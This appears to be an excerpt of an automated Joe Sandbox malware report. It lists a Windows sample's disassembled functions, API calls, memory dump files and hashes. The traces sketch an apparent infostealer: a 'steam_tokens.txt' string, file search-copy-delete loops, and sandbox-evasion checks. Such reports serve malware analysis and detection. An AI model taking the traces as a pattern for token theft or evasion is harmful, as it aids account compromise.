Part of subcall function 6CA735A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CAFF688,00001000), ref: 6CA735D5
Part of subcall function 6CA735A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA735E0
Part of subcall function 6CA735A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA735FD
Part of subcall function 6CA735A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA7363F
Part of subcall function 6CA735A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA7369F
Part of subcall function 6CA735A0: __aulldiv.LIBCMT ref: 6CA736E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA7309F

Part of subcall function 6CA95B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA956EE,?,00000001), ref: 6CA95B85
Part of subcall function 6CA95B50: EnterCriticalSection.KERNEL32(6CAFF688,?,?,?,6CA956EE,?,00000001), ref: 6CA95B90
Part of subcall function 6CA95B50: LeaveCriticalSection.KERNEL32(6CAFF688,?,?,?,6CA956EE,?,00000001), ref: 6CA95BD8
Part of subcall function 6CA95B50: GetTickCount64.KERNEL32 ref: 6CA95BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA730BE

Part of subcall function 6CA730F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA73127
Part of subcall function 6CA730F0: __aulldiv.LIBCMT ref: 6CA73140

Part of subcall function 6CAAAB2A: __onexit.LIBCMT ref: 6CAAAB30

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 75e06f8d46766adc01f6355a68ba9a3629eaf300c5d5c3be0efbdc612a70bf61
Instruction ID: c3bb5de44e3f28649cb41f88d4b7273d16d40945f8fefdccc23c0dd044c9b2db
Opcode Fuzzy Hash: 75e06f8d46766adc01f6355a68ba9a3629eaf300c5d5c3be0efbdc612a70bf61
Instruction Fuzzy Hash: 41F02622D2078A96CA24DF74AD411EA73B0AF6B114B01931DE8A453611FF3061DEC396

Function 00419600 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419614
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00419635
CloseHandle.KERNEL32(00000000), ref: 0041963F

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 38bec2c2861d1061a7e63eb7caa5b35248e167512e01a3ac08b79c0d7adc0fad
Instruction ID: 8add19ce2c94a4db983c162c5ea883653429c1f160fd421327fd5bffa921fc45
Opcode Fuzzy Hash: 38bec2c2861d1061a7e63eb7caa5b35248e167512e01a3ac08b79c0d7adc0fad
Instruction Fuzzy Hash: 95F03A7490120CEFDB14DBA4DD4AFEA7778BB08300F004599FA1997280E6B06E84CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416CBC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416CBC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 11ea4e03c837496306c88658afd9ed440fb44e3d5b70bdcdd02673fa8ef340ef
Instruction ID: f86d798d442288df0e099431c712f1cdbed5da6d4770a056b1c254158006f616
Opcode Fuzzy Hash: 11ea4e03c837496306c88658afd9ed440fb44e3d5b70bdcdd02673fa8ef340ef
Instruction Fuzzy Hash: DCE0E670D8A30CFBE7105BA19D0AB4D77689B04B15F101156F709BA5D0D6B92640565D

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 7b362698908ff61aa31d4ac6417e82130d01c510d282f3d3cff84c4ea47e76dd
Instruction ID: 960187402ee01aff1aca01ef16381d87fa4c626a1601440f33a421b94010635f
Opcode Fuzzy Hash: 7b362698908ff61aa31d4ac6417e82130d01c510d282f3d3cff84c4ea47e76dd
Instruction Fuzzy Hash: D6213374A04208EFDB04CF88D544BADBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f67c1ee81b792ebf250256528aa3b6b9dcb1e54953850a22de8d950c6cb86ce9
Instruction ID: fd8884a5b4d1e95754380b5432cffff504e2d4d7245242e6cdc6148b35b0e1b4
Opcode Fuzzy Hash: f67c1ee81b792ebf250256528aa3b6b9dcb1e54953850a22de8d950c6cb86ce9
Instruction Fuzzy Hash: 816127B4900209DFCB14CF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00414E00 Relevance: 3.1, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414E3A
lstrcatA.KERNEL32(?,02EE5D28), ref: 00414E58

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C00
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,004208D3), ref: 00414C15
Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C32
Part of subcall function 00414B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00414C6E
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,02EDF980,?,000003E8), ref: 00414C9A
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE0), ref: 00414CAC
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CC0
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE4), ref: 00414CD2
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CE6
Part of subcall function 00414B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00414CFC
Part of subcall function 00414B60: DeleteFileA.KERNEL32(?), ref: 00414D81

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C57

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 96ca4b8fee943fcefae6de1e709fc3017b10229750f5af120523a159a3f8e737
Instruction ID: e9161ec81bcd1d29be655bd6d91fa6844fd782dbdf96c1af6834d1d6ae200bb8
Opcode Fuzzy Hash: 96ca4b8fee943fcefae6de1e709fc3017b10229750f5af120523a159a3f8e737
Instruction Fuzzy Hash: F041B6B7E0410467C754F764FC52EEE333E9BC8304F40855EB54696191ED78AAC88B95

Function 00415350 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02EDFBA0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

lstrlenA.KERNEL32(00000000,00000000,00420ACE,?,?,?,?,?,?,0041635B,?), ref: 0041537A

Strings

steam_tokens.txt, xrefs: 0041538F

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 05c3bf2e8d49d1371e3a8ef3ba893d9939886e2072245d48c510c30610a2984f
Instruction ID: 583e1202a90f05d24a8fafb6f0fe3048dc9e4c24137b9a3722a1f5dcf54c1db9
Opcode Fuzzy Hash: 05c3bf2e8d49d1371e3a8ef3ba893d9939886e2072245d48c510c30610a2984f
Instruction Fuzzy Hash: 5AF06D31E1110876CB04FBB2EC679ED733D9E50358F80426EB416220D2EF386698C7AE

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416CB7,00420AF3), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0911bb23926965f42d7cc1f5d35b7be77a6f2882a7c2442a84db88c73d1ba697
Instruction ID: 7de8415141d8ede1392e5156f4839a36e98c975bb62c62673ce2cce929d499c4
Opcode Fuzzy Hash: 0911bb23926965f42d7cc1f5d35b7be77a6f2882a7c2442a84db88c73d1ba697
Instruction Fuzzy Hash: 9ED05E74D0530DABCB04DFE09D496DDBB79BB0C315F041656DD0572240EA305441CA66

Function 0040B4C0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrlenA.KERNEL32(00000000), ref: 0040B992
lstrlenA.KERNEL32(00000000), ref: 0040B9A6

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: e02e9c82d219cfe3a0d2f4dca40aab7f218033f3be4bbddb0880e8fccce26e7c
Instruction ID: 2255bc3e1aae02863dcd83073914f46634cd1c5da6bc7bd4c07d15e0a17c61c2
Opcode Fuzzy Hash: e02e9c82d219cfe3a0d2f4dca40aab7f218033f3be4bbddb0880e8fccce26e7c
Instruction Fuzzy Hash: BAE14672A111189BCB04FBA1DD66EEE7339AF14314F40459EF10672095EF387B98CB6A

Function 0040AEC0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

lstrlenA.KERNEL32(00000000), ref: 0040B13A
lstrlenA.KERNEL32(00000000), ref: 0040B14E

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 69d253821d97da2bd3b4e18577819e0005f4e7ca02a0288c6efa5dc2b731e2e5
Instruction ID: b118e420acb74f1bad9678fc0f4fca3608bd39bb9752133bd9c886ddfd0b535b
Opcode Fuzzy Hash: 69d253821d97da2bd3b4e18577819e0005f4e7ca02a0288c6efa5dc2b731e2e5
Instruction Fuzzy Hash: A8916672A151089BCB04FBA1DC66DEE7339AF14314F40456FF10663195EF387A98CB6A

Function 0040B200 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

lstrlenA.KERNEL32(00000000), ref: 0040B3FE
lstrlenA.KERNEL32(00000000), ref: 0040B412

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: dd1a26b65a0f196927a5ab1d01b3a997224839d946b3470995d6560889411a2b
Instruction ID: df39fec182a976cf14ea74314fd1cc2d61bc45c83f0c5b543270b10835f39725
Opcode Fuzzy Hash: dd1a26b65a0f196927a5ab1d01b3a997224839d946b3470995d6560889411a2b
Instruction Fuzzy Hash: B4715271A111089BCB04FBA1DCA6DEE733AAF14314F40456FF50267195EF387A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

